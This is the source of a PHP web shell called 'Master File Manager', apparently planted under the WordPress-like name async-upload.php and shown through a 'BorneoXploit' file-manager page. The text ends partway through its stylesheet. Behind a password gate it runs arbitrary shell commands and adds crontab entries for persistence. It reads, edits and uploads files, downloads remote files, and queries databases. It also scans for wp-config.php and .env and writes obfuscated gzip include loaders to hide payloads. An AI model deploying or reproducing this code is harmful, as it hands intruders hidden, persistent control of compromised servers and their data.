File Manager - BorneoXploit

Editing: async-upload.php

<?php
/**
 * Master File Manager v4.0 - Complete Edition
 * Menggabungkan Secure Auth Gate login dengan semua fitur dari JS Version
 * Fixed: Mass Upload result display
 */

ob_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

// ===== SESSION CONFIG =====
ini_set('session.gc_maxlifetime', 7200);
ini_set('session.cookie_lifetime', 7200);
session_start();
session_regenerate_id(true);

define('MASTER_VERSION', '4.0.0');
define('MASTER_AUTHOR', 'id69');

// ===== AUTHENTICATION (Seperti Secure Auth Gate) =====
// Ganti hash ini dengan hash bcrypt password Anda
$auth_hash    = '$2y$10$8XpCD/SfTCI87XmcXFgQH.JbgAKA8J5ImUC9lReI3d3aYOKEwSxG.';
$cookie_name  = 'master_auth';
$cookie_days  = 30;
$cookie_token = hash_hmac('sha256', 'master_auth_v1', $auth_hash);

// Cek auth via session atau cookie
function is_authed() {
    global $cookie_token, $cookie_name;
    if (!empty($_SESSION['master_auth'])) return true;
    if (!empty($_COOKIE[$cookie_name]) && hash_equals($cookie_token, $_COOKIE[$cookie_name])) {
        $_SESSION['master_auth'] = true;
        return true;
    }
    return false;
}

// Logout via GET
if (isset($_GET['logout'])) {
    $_SESSION = [];
    session_destroy();
    $clean_url = strtok($_SERVER['PHP_SELF'], '?');
    echo '<script>document.cookie="'.$cookie_name.'=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";window.location.replace('.json_encode($clean_url).');</script>';
    exit;
}

// Proses login via AJAX
if (isset($_POST['password']) && password_verify($_POST['password'], $auth_hash)) {
    $_SESSION['master_auth'] = true;
    session_write_close();
    
    $expire = time() + ($cookie_days * 86400);
    
    if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
        header('Content-Type: application/json');
        echo json_encode([
            'status' => 'success', 
            'redirect' => strtok($_SERVER['PHP_SELF'], '?'),
            'cookie_name' => $cookie_name,
            'cookie_token' => urlencode($cookie_token),
            'cookie_expire' => $expire
        ]);
        exit;
    } else {
        echo '<script>
            var expire = new Date(' . $expire . ' * 1000).toUTCString();
            document.cookie = "' . $cookie_name . '=' . urlencode($cookie_token) . ';expires=" + expire + ";path=/;samesite=Lax";
            window.location.replace(' . json_encode(strtok($_SERVER['PHP_SELF'], '?')) . ');
        </script>';
        exit;
    }
}

// Jika belum login, tampilkan form login
if (!is_authed()) {
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Master File Manager - Secure Access</title>
    <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg:#050505;
            --bg-gradient:radial-gradient(1200px 600px at 50% -20%,#1a1a2e 0%,transparent 60%),
                          radial-gradient(800px 400px at 100% 100%,#0f0f1a 0%,transparent 70%);
            --card-bg:rgba(20,20,28,0.6);
            --card-border:rgba(80,80,100,0.15);
            --card-glow:rgba(59,130,246,0.08);
            --text:#e6e6f0; --text-dim:#78788c;
            --accent:#10b981; --accent-hover:#34d399;
            --error:#f87171;
            --input-bg:rgba(10,10,18,0.8);
            --input-border:rgba(100,100,120,0.2);
            --input-focus:rgba(16,185,129,0.4);
            --transition:all 0.25s cubic-bezier(0.4,0,0.2,1);
        }
        *{margin:0;padding:0;box-sizing:border-box}
        body{
            font-family:'JetBrains Mono',monospace;
            background:var(--bg);background-image:var(--bg-gradient);
            color:var(--text);min-height:100vh;
            display:flex;align-items:center;justify-content:center;
            padding:20px;-webkit-font-smoothing:antialiased;
        }
        body::before{
            content:"";position:fixed;inset:0;
            background-image:
                radial-gradient(1px 1px at 20px 30px,rgba(100,100,140,0.1) 50%,transparent 52%),
                radial-gradient(1px 1px at 80px 60px,rgba(100,100,140,0.08) 50%,transparent 52%),
                radial-gradient(1px 1px at 140px 100px,rgba(100,100,140,0.12) 50%,transparent 52%);
            background-size:200px 150px;animation:drift 80s linear infinite;
            pointer-events:none;z-index:0;
        }
        @keyframes drift{0%{transform:translateY(0)}100%{transform:translateY(-200px)}}
        .auth-container{position:relative;z-index:1;width:100%;max-width:420px}
        .auth-card{
            background:var(--card-bg);border:1px solid var(--card-border);
            border-radius:20px;padding:36px 32px;
            backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px);
            box-shadow:0 0 0 1px var(--card-border),0 20px 40px -10px rgba(0,0,0,0.6),0 0 60px -10px var(--card-glow);
        }
        .brand{display:flex;align-items:center;gap:12px;margin-bottom:28px;padding-bottom:20px;border-bottom:1px solid var(--card-border)}
        .brand-icon{
            width:36px;height:36px;border-radius:10px;
            background:linear-gradient(135deg,var(--accent),#059669);
            display:flex;align-items:center;justify-content:center;
            font-weight:600;font-size:16px;color:white;
            box-shadow:0 4px 14px -2px rgba(16,185,129,0.4);flex-shrink:0;
        }
        .brand-text h1{font-size:18px;font-weight:600;letter-spacing:-0.02em}
        .brand-text p{font-size:12px;color:var(--text-dim);margin-top:2px}
        .form-group{margin-bottom:24px}
        .form-label{display:block;font-size:12px;font-weight:500;color:var(--text-dim);margin-bottom:10px;text-transform:uppercase;letter-spacing:0.08em}
        .auth-input{
            width:100%;padding:14px 18px;
            background:var(--input-bg);border:1px solid var(--input-border);
            border-radius:12px;color:var(--text);font-family:inherit;
            font-size:14px;outline:none;transition:var(--transition);
        }
        .auth-input::placeholder{color:var(--text-dim);opacity:0.7}
        .auth-input:focus{border-color:var(--accent);box-shadow:0 0 0 4px var(--input-focus)}
        .auth-input.error{border-color:var(--error);animation:shake 0.4s ease}
        @keyframes shake{0%,100%{transform:translateX(0)}25%{transform:translateX(-4px)}75%{transform:translateX(4px)}}
        .submit-btn{
            width:100%;padding:14px;
            background:linear-gradient(135deg,var(--accent),#059669);
            color:white;border:none;border-radius:12px;font-family:inherit;
            font-size:14px;font-weight:500;cursor:pointer;transition:var(--transition);
        }
        .submit-btn:hover{transform:translateY(-1px);box-shadow:0 8px 24px -6px rgba(16,185,129,0.5);background:linear-gradient(135deg,var(--accent-hover),#10b981)}
        .submit-btn:active{transform:translateY(0)}
        .submit-btn:disabled{opacity:0.6;cursor:not-allowed;transform:none}
        .error-msg{
            display:flex;align-items:center;gap:8px;padding:12px 16px;
            background:rgba(248,113,113,0.08);border:1px solid rgba(248,113,113,0.2);
            border-radius:10px;color:var(--error);font-size:13px;margin-top:16px;
            animation:slideIn 0.2s ease;
        }
        @keyframes slideIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
        .footer{text-align:center;margin-top:24px;font-size:12px;color:var(--text-dim)}
        .loading{display:none;text-align:center;margin-top:16px}
        .spinner{display:inline-block;width:20px;height:20px;border:2px solid var(--accent);border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
        @keyframes spin{to{transform:rotate(360deg)}}
        @media(max-width:480px){.auth-card{padding:28px 20px;border-radius:18px}}
    </style>
</head>
<body>
<div class="auth-container">
    <div class="auth-card">
        <div class="brand">
            <div class="brand-icon">🔧</div>
            <div class="brand-text">
                <h1>Master File Manager</h1>
                <p>Secure Authentication Required</p>
            </div>
        </div>
        <form id="authForm">
            <div class="form-group">
                <label class="form-label" for="access_key">Access Key</label>
                <input
                    type="password"
                    name="password"
                    id="access_key"
                    class="auth-input"
                    placeholder="Enter your secure key"
                    required
                    autocomplete="current-password"
                    autofocus
                >
            </div>
            <button type="submit" class="submit-btn" id="submitBtn">Authenticate</button>
            <div id="errorMsg" class="error-msg" style="display:none">
                <span>⚠️</span><span id="errorText"></span>
            </div>
            <div id="loginLoading" class="loading">
                <div class="spinner"></div> Verifying...
            </div>
        </form>
        <div class="footer">Protected by bcrypt · Cookie · Session Lock</div>
    </div>
</div>
<script>
document.getElementById('authForm').addEventListener('submit', function(e) {
    e.preventDefault();
    var password = document.getElementById('access_key').value;
    if (!password) return;
    
    var btn = document.getElementById('submitBtn');
    var loading = document.getElementById('loginLoading');
    var errorDiv = document.getElementById('errorMsg');
    var errorText = document.getElementById('errorText');
    
    btn.disabled = true;
    loading.style.display = 'block';
    errorDiv.style.display = 'none';
    
    var formData = new FormData();
    formData.append('password', password);
    
    var xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    
    xhr.onload = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        if (xhr.status === 200) {
            try {
                var response = JSON.parse(xhr.responseText);
                if (response.status === 'success') {
                    var expire = new Date(response.cookie_expire * 1000).toUTCString();
                    document.cookie = response.cookie_name + "=" + response.cookie_token + 
                                     ";expires=" + expire + ";path=/;samesite=Lax";
                    window.location.replace(response.redirect);
                } else {
                    errorText.innerText = response.message || 'Access key tidak valid.';
                    errorDiv.style.display = 'flex';
                    document.getElementById('access_key').classList.add('error');
                }
            } catch(e) {
                errorText.innerText = 'Login failed. Please try again.';
                errorDiv.style.display = 'flex';
                document.getElementById('access_key').classList.add('error');
            }
        } else {
            errorText.innerText = 'Network error. Please try again.';
            errorDiv.style.display = 'flex';
            document.getElementById('access_key').classList.add('error');
        }
    };
    xhr.onerror = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        errorText.innerText = 'Network error. Please try again.';
        errorDiv.style.display = 'flex';
        document.getElementById('access_key').classList.add('error');
    };
    xhr.send(formData);
});

document.getElementById('access_key').addEventListener('input', function() {
    this.classList.remove('error');
    document.getElementById('errorMsg').style.display = 'none';
});
</script>
</body>
</html>
    <?php
    exit;
}

// ===== TMP DIRECTORY =====
$tmp_dir = '/tmp/master_' . session_id() . '/';
if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true);

// ===== FUNCTIONS =====
function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) deleteRecursive($path . '/' . $file);
    return rmdir($path);
}

function extractZip($zip_file, $extract_to) {
    $zip = new ZipArchive();
    if ($zip->open($zip_file) === TRUE) {
        $zip->extractTo($extract_to);
        $zip->close();
        return true;
    }
    return false;
}

function generateGzipLoader($target_file) {
    $target = basename($target_file, '.gz');
    
    $loaders = [
        '<?php
$gh =  ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"];
include implode("", $gh);',
        
        '<?php
$gh =  ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"];
include implode("", $gh);',
        
        '<?php
$gh =  ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"];
include implode("", array_reverse($gh));',
        
        '<?php
$gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z");
include $gh;'
    ];
    
    return $loaders[array_rand($loaders)];
}

// ===== AJAX Handler untuk semua action =====
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');
    
    $ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? '';
    
    // File Manager Actions
    if ($ajax_action == 'list_files') {
        $path = $_POST['path'] ?? getcwd();
        $cwd = realpath($path);
        if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
        
        $search = $_POST['search'] ?? '';
        $items = scandir($cwd);
        $filtered = [];
        foreach ($items as $item) {
            if ($item == '.') continue;
            if ($item == '..' && $cwd == '/') continue;
            if (empty($search) || stripos($item, $search) !== false) {
                $filtered[] = $item;
            }
        }
        $sorted = sortItems($filtered, $cwd);
        
        $files = [];
        foreach ($sorted as $item) {
            $full = $cwd . '/' . $item;
            $isDir = is_dir($full);
            $perms = substr(sprintf('%o', fileperms($full)), -4);
            $modified = date("Y-m-d H:i:s", filemtime($full));
            $size = $isDir ? 0 : filesize($full);
            
            $owner = fileowner($full);
            $group = filegroup($full);
            if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                $owner_name = posix_getpwuid($owner)['name'] ?? $owner;
                $group_name = posix_getgrgid($group)['name'] ?? $group;
            } else {
                $owner_name = $owner;
                $group_name = $group;
            }
            
            $files[] = [
                'name' => $item,
                'is_dir' => $isDir,
                'perms' => $perms,
                'size' => $size,
                'size_formatted' => $isDir ? '--' : formatBytes($size),
                'modified' => $modified,
                'owner_group' => $owner_name . ':' . $group_name,
                'path' => $full
            ];
        }
        
        echo json_encode([
            'status' => 'success',
            'cwd' => $cwd,
            'parent' => dirname($cwd),
            'files' => $files
        ]);
        exit;
    }
    
    if ($ajax_action == 'create_file') {
        $cwd = $_POST['cwd'];
        $filename = $_POST['filename'];
        $full = $cwd . '/' . $filename;
        if (!file_exists($full)) {
            file_put_contents($full, '');
            echo json_encode(['status' => 'success', 'message' => "File $filename created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "File already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'create_folder') {
        $cwd = $_POST['cwd'];
        $foldername = $_POST['foldername'];
        $full = $cwd . '/' . $foldername;
        if (!file_exists($full)) {
            mkdir($full);
            echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Folder already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'delete_item') {
        $cwd = $_POST['cwd'];
        $item = $_POST['item'];
        $full = $cwd . '/' . $item;
        if (file_exists($full)) {
            deleteRecursive($full);
            echo json_encode(['status' => 'success', 'message' => "Deleted $item"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Not found"]);
        }
        exit;
    }
    
    if ($ajax_action == 'rename_item') {
        $cwd = $_POST['cwd'];
        $old = $_POST['old'];
        $new = $_POST['new'];
        $full_old = $cwd . '/' . $old;
        $full_new = $cwd . '/' . $new;
        if (file_exists($full_old) && !file_exists($full_new)) {
            rename($full_old, $full_new);
            echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Rename failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'chmod_item') {
        $full = $_POST['file'];
        $perms = intval($_POST['perms'], 8);
        if (chmod($full, $perms)) {
            echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Chmod failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'get_file_content') {
        $file = $_POST['file'];
        if (file_exists($file) && is_file($file) && is_readable($file)) {
            echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot read file']);
        }
        exit;
    }
    
    if ($ajax_action == 'save_file_content') {
        $file = $_POST['file'];
        $content = $_POST['content'];
        if (file_put_contents($file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'File saved']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot save file']);
        }
        exit;
    }
    
    if ($ajax_action == 'upload_file') {
        $cwd = $_POST['cwd'];
        if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
            $target = $cwd . '/' . $_FILES['file']['name'];
            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]);
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Upload failed']);
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'No file or upload error']);
        }
        exit;
    }
    
    // Create ZIP
    if ($ajax_action == 'create_zip') {
        $cwd = $_POST['cwd'];
        $zip_name = $_POST['zip_name'];
        $items = json_decode($_POST['items'], true);
        
        if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip';
        if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip';
        
        if (createZip($items, $zip_name, $cwd)) {
            echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']);
        }
        exit;
    }
    
    // Extract ZIP
    if ($ajax_action == 'extract_zip') {
        $zip_file = $_POST['zip_file'];
        $extract_to = $_POST['extract_to'];
        
        if (!file_exists($zip_file)) {
            echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']);
            exit;
        }
        
        $zip_check = new ZipArchive();
        $need_folder = true;
        
        if ($zip_check->open($zip_file) === TRUE) {
            $root_items = [];
            $has_root_file = false;
            for ($i = 0; $i < $zip_check->numFiles; $i++) {
                $name = $zip_check->getNameIndex($i);
                if (strpos($name, '__MACOSX/') === 0) continue;
                $parts = explode('/', $name);
                $first_item = $parts[0];
                if (!in_array($first_item, $root_items)) $root_items[] = $first_item;
                if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true;
            }
            $single_folder_only = (count($root_items) == 1 && !$has_root_file);
            $need_folder = !$single_folder_only;
            $zip_check->close();
        }
        
        if ($need_folder) {
            $extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME);
        } else {
            $extract_target = $extract_to;
        }
        
        if (!is_dir($extract_target)) mkdir($extract_target, 0755, true);
        
        if (extractZip($zip_file, $extract_target)) {
            echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Extraction failed']);
        }
        exit;
    }
    
    // Mass Uploader
    if ($ajax_action == 'mass_upload') {
        $action = $_POST['mass_action'];
        $target_dir = $_POST['target_dir'];
        $depth = intval($_POST['depth']);
        
        $results = [];
        $success = 0;
        $failed = 0;
        
        $target_folders = [];
        if (strpos($target_dir, '*') !== false) {
            $target_folders = glob($target_dir);
        } else {
            $target_folders = [$target_dir];
            if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
        }
        
        if ($action == 'copy') {
            $file_list = explode("\n", trim($_POST['file_list']));
            foreach ($file_list as $item) {
                $item = trim($item);
                if (empty($item)) continue;
                
                if (strpos($item, '*') !== false) {
                    $source_files = glob($item);
                    foreach ($source_files as $source_file) {
                        foreach ($target_folders as $folder) {
                            $result = copyFileToTarget($source_file, $folder, $depth);
                            if ($result['status'] == 'success') $success++; else $failed++;
                            $results[] = $result;
                        }
                    }
                } else {
                    foreach ($target_folders as $folder) {
                        $result = copyFileToTarget($item, $folder, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                }
            }
        } elseif ($action == 'url') {
            $url_list = explode("\n", trim($_POST['url_list']));
            foreach ($url_list as $line) {
                $line = trim($line);
                if (empty($line)) continue;
                $parts = explode('|', $line);
                $url = trim($parts[0]);
                $custom_name = isset($parts[1]) ? trim($parts[1]) : '';
                if (filter_var($url, FILTER_VALIDATE_URL)) {
                    foreach ($target_folders as $folder) {
                        $result = downloadFromUrl($url, $folder, $custom_name, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                } else {
                    $failed++;
                    $results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid'];
                }
            }
        }
        
        echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]);
        exit;
    }
    
    // Gzip Maker
    if ($ajax_action == 'make_gzip') {
        $source = $_POST['source'];
        $gzip_name = $_POST['gzip_name'];
        $use_loader = $_POST['use_loader'];
        $loader_name = $_POST['loader_name'];
        
        $content = '';
        if (filter_var($source, FILTER_VALIDATE_URL)) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $source);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            $content = curl_exec($ch);
            curl_close($ch);
        } elseif (file_exists($source)) {
            $content = file_get_contents($source);
        }
        
        if (empty($content)) {
            echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']);
            exit;
        }
        
        if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz';
        if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz';
        
        $gzip_path = getcwd() . '/' . $gzip_name;
        $fp = gzopen($gzip_path, 'w9');
        gzwrite($fp, $content);
        gzclose($fp);
        
        $result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))];
        
        if ($use_loader == 'y') {
            if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php';
            if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php';
            $loader_content = generateGzipLoader($gzip_name);
            file_put_contents($loader_name, $loader_content);
            $result['loader_file'] = $loader_name;
            $result['loader_content'] = $loader_content;
        }
        
        echo json_encode($result);
        exit;
    }
    
    // Raw URL Upload
    if ($ajax_action == 'raw_upload') {
        $url = $_POST['raw_url'];
        $filename = $_POST['filename'];
        $save_path = $_POST['save_path'];
        $rewrite_mode = $_POST['rewrite_mode'];
        
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid URL']);
            exit;
        }
        
        if (!is_dir($save_path)) mkdir($save_path, 0755, true);
        
        $target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH)));
        
        if (file_exists($target_file)) {
            if ($rewrite_mode == 'skip') {
                echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']);
                exit;
            } elseif ($rewrite_mode == 'backup') {
                $backup = $target_file . '.backup_' . date('Ymd_His');
                copy($target_file, $backup);
            }
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]);
        }
        exit;
    }
    
    // Command Execution
    if ($ajax_action == 'execute_cmd') {
        $cmd = $_POST['cmd'];
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Cron Manager
    if ($ajax_action == 'cron_list') {
        $output = commandExec('crontab -l 2>&1');
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'cron_add') {
        $schedule = $_POST['schedule'];
        $command = $_POST['command'];
        $cmd = '(crontab -l 2>/dev/null; echo "' . $schedule . ' ' . $command . '") | crontab - 2>&1';
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'cron_delete') {
        $line = intval($_POST['line']);
        $cmd = 'crontab -l 2>/dev/null | sed "' . ($line + 1) . 'd" | crontab - 2>&1';
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Database Manager
    if ($ajax_action == 'db_connect') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $port = $_POST['port'];
        
        try {
            $dsn = "mysql:host=$host;port=$port;charset=utf8";
            if (!empty($name)) $dsn .= ";dbname=$name";
            $pdo = new PDO($dsn, $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            $stmt = $pdo->query("SHOW DATABASES");
            $databases = $stmt->fetchAll(PDO::FETCH_COLUMN);
            
            $tables = [];
            if (!empty($name)) {
                $stmt = $pdo->query("SHOW TABLES");
                $tables = $stmt->fetchAll(PDO::FETCH_COLUMN);
            }
            
            echo json_encode(['status' => 'success', 'databases' => $databases, 'tables' => $tables, 'database' => $name]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    if ($ajax_action == 'db_query') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $query = $_POST['query'];
        
        try {
            $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            $stmt = $pdo->query($query);
            $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
            
            echo json_encode(['status' => 'success', 'results' => $results]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    if ($ajax_action == 'db_browse_table') {
        $host = $_POST['host'];
        $user = $_POST['user'];
        $pass = $_POST['pass'];
        $name = $_POST['name'];
        $table = $_POST['table'];
        
        try {
            $pdo = new PDO("mysql:host=$host;dbname=$name;charset=utf8", $user, $pass);
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            // Get columns
            $stmt = $pdo->query("DESCRIBE `$table`");
            $columns = $stmt->fetchAll(PDO::FETCH_COLUMN);
            
            // Get data
            $stmt = $pdo->query("SELECT * FROM `$table` LIMIT 100");
            $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
            
            echo json_encode(['status' => 'success', 'columns' => $columns, 'rows' => $rows]);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
        exit;
    }
    
    // Security Scan
    if ($ajax_action == 'security_scan') {
        $info = [];
        
        // Check sensitive files
        $sensitive_files = ['.htaccess', 'wp-config.php', 'config.php', '.env', 'php.ini', 'phpinfo.php'];
        foreach ($sensitive_files as $file) {
            if (file_exists($file)) {
                $perms = substr(sprintf('%o', fileperms($file)), -4);
                $info[] = "⚠️ Sensitive file found: $file (perms: $perms)";
            }
        }
        
        // Check writable directories
        $writable_dirs = [];
        $check_dirs = ['.', 'wp-content', 'tmp', 'uploads'];
        foreach ($check_dirs as $dir) {
            if (is_dir($dir) && is_writable($dir)) {
                $writable_dirs[] = $dir;
            }
        }
        if (!empty($writable_dirs)) {
            $info[] = "📁 Writable directories: " . implode(', ', $writable_dirs);
        }
        
        // Check disabled functions
        $disabled = ini_get('disable_functions');
        $info[] = "🔒 Disabled functions: " . ($disabled ?: 'None');
        
        // Check open_basedir
        $basedir = ini_get('open_basedir');
        $info[] = "📂 open_basedir: " . ($basedir ?: 'Not set');
        
        // Check allow_url_fopen
        $allow_url = ini_get('allow_url_fopen');
        $info[] = "🌐 allow_url_fopen: " . ($allow_url ? 'ON' : 'OFF');
        
        echo json_encode(['status' => 'success', 'info' => $info]);
        exit;
    }
    
    // Network Tools
    if ($ajax_action == 'network_ping') {
        $host = $_POST['host'];
        $output = commandExec("ping -c 4 " . escapeshellarg($host) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'network_curl') {
        $url = $_POST['url'];
        $output = commandExec("curl -I " . escapeshellarg($url) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    if ($ajax_action == 'network_nslookup') {
        $domain = $_POST['domain'];
        $output = commandExec("nslookup " . escapeshellarg($domain) . " 2>&1");
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Info
    if ($ajax_action == 'get_info') {
        $info = [
            'php_version' => phpversion(),
            'user' => get_current_user(),
            'ip' => $_SERVER['REMOTE_ADDR'],
            'tmp_dir' => $tmp_dir,
            'session_id' => session_id(),
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
            'disabled_functions' => ini_get('disable_functions') ?: 'None',
            'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
            'upload_max_filesize' => ini_get('upload_max_filesize'),
            'post_max_size' => ini_get('post_max_size'),
            'max_execution_time' => ini_get('max_execution_time') . 's',
            'memory_limit' => ini_get('memory_limit'),
            'server_time' => date('Y-m-d H:i:s'),
            'server_timezone' => date_default_timezone_get()
        ];
        echo json_encode(['status' => 'success', 'info' => $info]);
        exit;
    }
    
    echo json_encode(['status' => 'error', 'message' => 'Unknown action']);
    exit;
}

// ===== MAIN HTML =====
$current_path = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>Master File Manager v<?php echo MASTER_VERSION; ?> - Complete Edition</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
    * {
        box-sizing: border-box;
        margin: 0;
        padding: 0;
    }
    
    body {
        background: #0a0a0a;
        color: #0f0;
        font-family: 'Courier New', 'Fira Code', monospace;
        padding: 20px;
        margin: 0;
        font-size: 13px;
    }
    
    .container {
        max-width: 1600px;
        margin: 0 auto;
    }
    
    /* Header */
    .header {
        background: #0f0f0f;
        padding: 15px 20px;
        border-bottom: 2px solid #0f0;
        display: flex;
        justify-content: space-between;
        align-items: center;
        flex-wrap: wrap;
        gap: 15px;
        margin-bottom: 20px;
        border-radius: 8px 8px 0 0;
    }
    
    .header h1 {
        font-size: 18px;
        color: #0f0;
    }
    
    .logout-btn {
        background: #c00;
        color: #fff;
        padding: 8px 16px;
        text-decoration: none;
        border-radius: 5px;
        font-weight: bold;
    }
    
    .logout-btn:hover {
        background: #f00;
    }
    
    /* Menu */
    .menu {
